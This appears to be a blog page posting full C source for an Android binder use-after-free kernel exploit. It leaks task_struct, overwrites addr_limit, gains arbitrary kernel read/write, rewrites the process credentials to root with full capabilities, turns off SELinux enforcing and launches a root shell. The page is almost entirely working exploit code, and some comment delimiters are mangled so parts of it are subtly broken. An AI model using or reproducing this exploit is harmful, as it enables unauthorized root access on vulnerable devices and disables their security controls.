【无标题】

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdint.h>

void *dummy_page; uint64_t task_struct_kptr, task_pid_kptr, task_cred_kptr, task_init_nsproxy_kptr, cred_kptr, init_nsproxy_kptr, kbase; static char pipe_read_buffer[PAGE_SIZE]; int sock_fd[2]; int krw_pipe[2]; uint32_t read_pid; int nBytesRead, nBytesWritten, binder_fd, epoll_fd, pipe_fd[2]; struct epoll_event event = {.events = EPOLLIN};

/* if you have ARM64 kernel comment X86_OFFSET and uncomment ARM_OFFSET */ //#define ARM_OFFSET 1
#define X86_OFFSET 1

#define IOVEC_SIZE 25
#define READ_PIPE pipe_fd[0]
#define WRITE_PIPE pipe_fd[1]
#define RECVMSG_SOCK sock_fd[0]
#define WRITE_SOCK sock_fd[1]
#define KREAD_PIPE krw_pipe[0]
#define KWRITE_PIPE krw_pipe[1]
#define BINDER_THREAD_EXIT 0x40046208ul
#define PIPE_READ_KPTR_OFFSET 0xE8
#define TASK_STRUCT_PID_OFFSET 0x4E8
#define TASK_STRUCT_CRED_OFFSET 0x688
#define TASK_STRUCT_NSPROXY_OFFSET 0x6C0

#define CRED_UID_OFFSET 0x4
#define CRED_GID_OFFSET 0x8
#define CRED_SUID_OFFSET 0xC
#define CRED_SGID_OFFSET 0x10
#define CRED_EUID_OFFSET 0x14
#define CRED_EGID_OFFSET 0x18
#define CRED_FSUID_OFFSET 0x1C
#define CRED_FSGID_OFFSET 0x20
#define CRED_SECUREBITS_OFFSET 0x24
#define CRED_CAP_INHERITABLE_OFFSET 0x28
#define CRED_CAP_PERMITTED_OFFSET 0x30
#define CRED_CAP_EFFECTIVE_OFFSET 0x38
#define CRED_CAP_BSET_OFFSET 0x40
#define CRED_CAP_AMBIENT_OFFSET 0x48

#define GLOBAL_ROOT_UID 0
#define GLOBAL_ROOT_GID 0
#define SECUREBITS_DEFAULT 0x00000000
#define CAP_EMPTY_SET 0
#define CAP_FULL_SET 0x3FFFFFFFFF

// this values may be different in your kernel image // look at your symbol table

// System.map: // ffffffff81433ab0 D init_nsproxy

// 0xffffffff81433ab0 - 0xffffffff80200000
#define SYMBOL_OFFSET_INIT_NSPROXY 0x1233800

// System.map: // ffffffff816a9fe8 B selinux_enforcing

// 0xffffffff816a9fe8 - 0xffffffff80200000
#define SYMBOL_OFFSET_SELINUX_ENFORCING 0x14AA000

#ifdef X86_OFFSET
#define ADDR_LIMIT_OFFSET 0xA18
#endif
#ifdef ARM_OFFSET
#define ADDR_LIMIT_OFFSET 0x8
#endif

/* index equivalent to the iovec which overlaps the wait struct */
#define IOVEC_OVERLAP_INDEX 10

/* * every iovec is 16 bytes long * binder_thread is 408 bytes * so 400 as allocating size * for the heap spray is ok */ struct iovec iovec[25] = {0};

/* needed to trigger the unlink */ int epoll_alloc() { epoll_fd = epoll_create(0x41); return 0; }

/* needed to trigger the unlink */ int epoll_link() { epoll_ctl(epoll_fd, EPOLL_CTL_ADD, binder_fd, &event); return 0; }

/* writes a kernel pointer to binder_thread->wait.head, to binder_thread->wait.head.next and binder_thread->wait.head.prev */ int unlink_kptr_write() { epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event); return 0; }

/* free binder_thread struct */ int binder_thread_free() { ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); return 0; }

int open_binder() { binder_fd = open("/dev/binder", O_RDONLY); return 0; }

void *map_dummy_page() { return mmap((void *)0x100000000ul, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); }

void prepare_rw_pipe() { if( pipe(krw_pipe) ) {
printf("\t[-] failed to create the pipes for stable r/w\n");
exit(-1); } else {
printf("\t[+] successfully created the pipes for stable r/w\n"); } }

void task_struct_leak() { printf("\t[+] opening /dev/binder\n"); open_binder();

printf("\t[+] allocating epoll\n"); epoll_alloc();

printf("\t[+] linking epoll\n"); epoll_link();

printf("\t[+] setting up a pipe\n"); if( pipe(pipe_fd) ) {
printf("\t[-] failed to allocate a pipe\n");
exit(-1); }

printf("\t[+] changing pipe size to 0x1000\n"); if (fcntl(READ_PIPE, F_SETPIPE_SZ, PAGE_SIZE) == -1) {
printf("\t[-] unable to change the pipe capacity\n");
exit(-1); }

/* used later to unblock the write and avoid deadlocking */ printf("\t[+] allocating the dummy page\n"); dummy_page = map_dummy_page();

if(!dummy_page) {
printf("\t[-] unable to mmap the dummy page\n");
exit(-1); }

printf("\t[+] crafting iovecs to leak task_struct\n"); iovec[IOVEC_OVERLAP_INDEX].iov_base = dummy_page; iovec[IOVEC_OVERLAP_INDEX].iov_len = PAGE_SIZE; iovec[IOVEC_OVERLAP_INDEX + 1].iov_base = (void *) 0x41414141; iovec[IOVEC_OVERLAP_INDEX + 1].iov_len = PAGE_SIZE;

pid_t child = fork();

/* while the parent process frees and reallocates the binder_thread struct, we trigger the unlink to write the task_struct kernel pointer to the iovec, and read dummy data to unlock writev(), otherwise the spray will fail / if (!child) {
/
used to avoid race conditions */
sleep(2);

/* trigger the unlink to write the address of binder_thread->wait.head (offset 0xa8) to iovec[11].iov_base */
unlink_kptr_write();

/* dummy read */
nBytesRead = read(READ_PIPE, pipe_read_buffer, sizeof(pipe_read_buffer));

if (nBytesRead != PAGE_SIZE) {
    printf("\t[-] child failed to read dummy data: 0x%x instead of 0x%x", nBytesRead, PAGE_SIZE);
    exit(-1);
}
close(WRITE_PIPE);
exit(0); }

/* free binder_thread struct */ binder_thread_free();

/* reallocates binder_thread with iovecs */ nBytesWritten = writev(WRITE_PIPE, iovec, IOVEC_SIZE);

/* writev() returns the size of the valid iovecs, we only provided two valid iovecs with size PAGE_SIZE */ if(nBytesWritten != PAGE_SIZE * 2) {
printf("\t[-] something went wrong, writev() returned 0x%x\n", nBytesWritten);
exit(-1); }

/* iovec[11].iov_base has been overwritten with a kernel pointer at binder_thread + 0xa8 so when the kernel start processing it to read the contents from it to give them to userspace it will read contents from the address at binder_thread + 0xA8 */ nBytesRead = read(READ_PIPE, pipe_read_buffer, sizeof(pipe_read_buffer));

if (nBytesRead != PAGE_SIZE) {
printf("\t[-] parent failed to read dummy data: 0x%x instead of 0x%x", nBytesRead, PAGE_SIZE);
exit(-1); }

wait(0);

/* the task_struct kptr is at offset 0xE8 */ task_struct_kptr = *(uint64_t *)(pipe_read_buffer + PIPE_READ_KPTR_OFFSET); task_pid_kptr = task_struct_kptr + TASK_STRUCT_PID_OFFSET; task_cred_kptr = task_struct_kptr + TASK_STRUCT_CRED_OFFSET; printf("\t[+] leaked task_struct kernel pointer: 0x%lx\n", task_struct_kptr); printf("\t[+] task_struct->pid @ 0x%lx\n", task_pid_kptr); printf("\t[+] task_struct->cred @ 0x%lx\n", task_cred_kptr); }

/* arbitrary write used to overwrite addr_limit */ void addr_limit_overwrite() { /*printf("\t[+] opening /dev/binder\n"); open_binder();

printf("\t[+] allocating epoll\n"); epoll_alloc();*/

/* needed to trigger the unlink */ printf("\t[+] linking epoll\n"); epoll_link();

if(!dummy_page) {
printf("\t[-] dummy page is NULL\n");
exit(-1); }

printf("\t[+] crafting socket data\n");

/* this is so important, this will overwrite iovecs (from iovec[10].iov_len to iovec[12].iov_len), we can achieve an arbitrary write by overwriting iovec[12].iov_base with the address we wanna write to and its iov_len with the size of the copy, so that when it’ll be processed iovec[12].iov_len of data will be copied to its iov_base (that’s how iovecs processing works) */ unsigned long final_sock_data[] = {
0x1, // iovec[IOVEC_OVERLAP_INDEX].iov_len
0x41414141, // iovec[IOVEC_OVERLAP_INDEX + 1].iov_base
0x8 + 0x8 + 0x8 + 0x8, // iovec[IOVEC_OVERLAP_INDEX + 1].iov_len
task_struct_kptr + ADDR_LIMIT_OFFSET, // iovec[IOVEC_OVERLAP_INDEX + 2].iov_base
0x8, // iovec[IOVEC_OVERLAP_INDEX + 2].iov_len
0xFFFFFFFFFFFFFFFE // addr_limit value to write };

printf("\t[+] crafting iovecs which are gonna be overwrote later\n"); iovec[IOVEC_OVERLAP_INDEX].iov_base = dummy_page; iovec[IOVEC_OVERLAP_INDEX].iov_len = 1; iovec[IOVEC_OVERLAP_INDEX + 1].iov_base = (void *) 0x41414141; iovec[IOVEC_OVERLAP_INDEX + 1].iov_len = 0x8 + 0x8 + 0x8 + 0x8; iovec[IOVEC_OVERLAP_INDEX + 2].iov_base = (void *) 0x42424242; iovec[IOVEC_OVERLAP_INDEX + 2].iov_len = 0x8;

/* garbage data */ char garbage_data[] = { 0x41 };

printf("\t[+] setting up a socketpair\n"); if( socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fd) == -1 ) {
printf("\t[-] failed to create socketpair\n");
exit(-1); }

/* needed to “init” recvmsg() */ printf("\t[+] writing garbage to the socket\n"); nBytesWritten = write(WRITE_SOCK, &garbage_data, sizeof(garbage_data));

if(nBytesWritten != sizeof(garbage_data)) {
printf("\t[-] write() returned 0x%x instead of 0x%lx\n", nBytesWritten, sizeof(garbage_data));
exit(-1); }

pid_t child = fork();

/* while the parent process frees and reallocates the binder_thread struct, we trigger the unlink to write the task_struct kernel pointer to the iovec, and read dummy data to unlock writev(), otherwise the spray will fail / if (!child) {
/
used to avoid race conditions */
sleep(2);

/* writes iovec[10].iov_len address to itself and iovec[11].iov_base, so
   now iovec[11].iov_base points to iovec[10].iov_len, which means that when it'll be processed
   it'll start overwriting the iovecs with socket data */
unlink_kptr_write();

/* now all iovecs will be processed, but since the unlink overwrote iovec[11].iov_base with the address
   of iovec[10].iov_len, when processing of iovec[11] will start, socket data will be written to iovec[10].iov_len
   this will overwrite iovec[12].iov_base and iovec[12].iov_len with socket data, respectively the address of 
   addr_limit and 0x8 (since we wanna write 8 bytes to addr_limit).
   so after iovec[11]'s processing finished, and iovecs have been overwritten, it'll start processing iovec[12]
   but since its iov_base has been overwritten with addr_limit address, data (last field of socket data) will be written there */
nBytesWritten = write(WRITE_SOCK, final_sock_data, sizeof(final_sock_data));

/* ensures that the write has been correctly done */
if (nBytesWritten != sizeof(final_sock_data)) {
    printf("\t[-] write() returned 0x%x instead of 0x%lx\n", nBytesWritten, sizeof(final_sock_data));
    exit(-1);
}
exit(0); }

/* free binder_thread struct which is gonna be reallocated by the child’s write() */ binder_thread_free();

struct msghdr message = {0}; message.msg_iov = iovec; message.msg_iovlen = IOVEC_SIZE;

/* this reallocates the binder_thread struct with our iovecs */ int received_bytes_addr_limit = recvmsg(RECVMSG_SOCK, &message, MSG_WAITALL);

int expected_bytes_addr_limit = iovec[IOVEC_OVERLAP_INDEX].iov_len +
iovec[IOVEC_OVERLAP_INDEX + 1].iov_len +
iovec[IOVEC_OVERLAP_INDEX + 2].iov_len;

/* as we done in the leak part, the received bytes should match the sum of the size of all valid iovecs, in this case we have 3 valid iovecs */ if(received_bytes_addr_limit != expected_bytes_addr_limit) {
printf("\t[-] recvmsg() wasn’t able to overwrite addr_limit: returned 0x%x instead of 0x%x\n", received_bytes_addr_limit, expected_bytes_addr_limit);
exit(-1); } wait(0); printf("\t[+] overwrote addr_limit with 0xFFFFFFFFFFFFFFFE\n"); }

int kwrite(uint64_t kaddr, void* user_value, size_t size) { /* doing this to avoid possible issues / if(size > 0x1000) {
printf("\t[-] writing more than a kernel page can cause issues\n"); } /
writes user’s value to pipe / if( write(KWRITE_PIPE, user_value, size) == -1 ) {
printf("\t[-] failed to write the value to the pipe\n");
return -1; } /
writes the user’s value we wrote to the pipe to the kaddr */ if( read(KREAD_PIPE, (void *)kaddr, size) == -1 ) {
printf("\t[-] failed to write to kernel memory\n");
return -1; } return 0; }

int kread(uint64_t kaddr, void user_value, size_t size) { / doing this to avoid possible issues / if(size > 0x1000) {
printf("\t[-] reading more than a kernel page can cause issues\n"); } /
writes kernel data to pipe / if( write(KWRITE_PIPE, (void)kaddr, size) != size ) {
printf("\t[-] failed to read kernel data\n");
return -1; } /* writes the value we wrote to the pipe to the kaddr */ if( read(KREAD_PIPE, user_value, size) != size ) {
printf("\t[-] failed to read data back to userspace\n");
return -1; } return 0; }

int kwrite64(uint64_t kaddr, uint64_t value) { if( kwrite(kaddr, &value, 8) == -1 ) {
printf("\t[-] failed to write to kernel memory\n");
return -1; } return 0; }

uint64_t kread64(uint64_t kaddr) { uint64_t read_value; if( kread(kaddr, &read_value, sizeof(read_value)) == -1) {
printf("\t[-] failed to write to read memory\n");
return -1; } return read_value; }

int kwrite32(uint64_t kaddr, uint32_t value) { if( kwrite(kaddr, &value, 4) == -1 ) {
printf("\t[-] failed to write to kernel memory\n");
return -1; } return 0; }

uint64_t kread32(uint64_t kaddr) { uint32_t read_value; if( kread(kaddr, &read_value, sizeof(read_value)) == -1) {
printf("\t[-] failed to read to read memory\n");
return -1; } return read_value; }

void krw_test() { pid_t current_pid = getpid(); printf("\t[+] reading the pid @ 0x%lx\n", task_pid_kptr); if( (read_pid = kread64(task_pid_kptr)) == -1) {
printf("\t[-] failed to read the task_struct->pid: returned %d\n", read_pid);
exit(-1); } printf("\t[+] task_struct->pid: 0%d\n", read_pid); printf("\t[+] getpid(): %d\n", current_pid); }

void kernel_cred_patch() { printf("\t[+] reading cred pointer from task_struct\n"); cred_kptr = kread64(task_cred_kptr);

/* basically commit_cred(prepare_kernel_cred(0)); */ kwrite32(cred_kptr + CRED_UID_OFFSET, GLOBAL_ROOT_UID); kwrite32(cred_kptr + CRED_GID_OFFSET, GLOBAL_ROOT_GID); kwrite32(cred_kptr + CRED_SUID_OFFSET, GLOBAL_ROOT_UID); kwrite32(cred_kptr + CRED_SGID_OFFSET, GLOBAL_ROOT_GID); kwrite32(cred_kptr + CRED_EUID_OFFSET, GLOBAL_ROOT_UID); kwrite32(cred_kptr + CRED_EGID_OFFSET, GLOBAL_ROOT_GID); kwrite32(cred_kptr + CRED_FSUID_OFFSET, GLOBAL_ROOT_UID); kwrite32(cred_kptr + CRED_FSGID_OFFSET, GLOBAL_ROOT_GID); kwrite32(cred_kptr + CRED_SECUREBITS_OFFSET, SECUREBITS_DEFAULT); kwrite64(cred_kptr + CRED_CAP_INHERITABLE_OFFSET, CAP_EMPTY_SET); kwrite64(cred_kptr + CRED_CAP_PERMITTED_OFFSET, CAP_FULL_SET); kwrite64(cred_kptr + CRED_CAP_EFFECTIVE_OFFSET, CAP_FULL_SET); kwrite64(cred_kptr + CRED_CAP_BSET_OFFSET, CAP_FULL_SET); kwrite64(cred_kptr + CRED_CAP_AMBIENT_OFFSET, CAP_EMPTY_SET); }

/* this part has to be tuned for the target */ void disable_selinux_enforcing() { printf("\t[+] reading init_nsproxy pointer from task_struct\n"); init_nsproxy_kptr = kread64(task_init_nsproxy_kptr);

kbase = init_nsproxy_kptr - SYMBOL_OFFSET_INIT_NSPROXY; printf("\t[+] kernel base: 0x%lx\n", kbase);

uint64_t selinux_enforcing_kptr = kbase + SYMBOL_OFFSET_SELINUX_ENFORCING; int ret = kread32(selinux_enforcing_kptr); if( ret && ret != -1 ) {
printf("\t[+] SELinux enforcing is enabled\n");
if( !kwrite32(selinux_enforcing_kptr, 0x0) ) {
printf("\t[+] successfully disabled SELinux enforcing\n");
} } else if(ret == 0) {
printf("\t[+] SELinux enforcing is disabled\n"); } }

int main() { printf("[*] STAGE 1: task_struct leak\n"); task_struct_leak();

printf("[*] STAGE 2: overwrite addr_limit with 0xFFFFFFFFFFFFFFFE\n"); addr_limit_overwrite();

printf("[*] STAGE 3: preparing pipes for stable r/w\n"); prepare_rw_pipe();

printf("[*] STAGE 3: testing out stable r/w primitives\n"); krw_test();

printf("[*] STAGE 4: patching cred struct\n"); kernel_cred_patch();

printf("[*] STAGE 5: disable SELinux enforcing\n"); disable_selinux_enforcing();

system("/bin/sh");

return 0; }

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值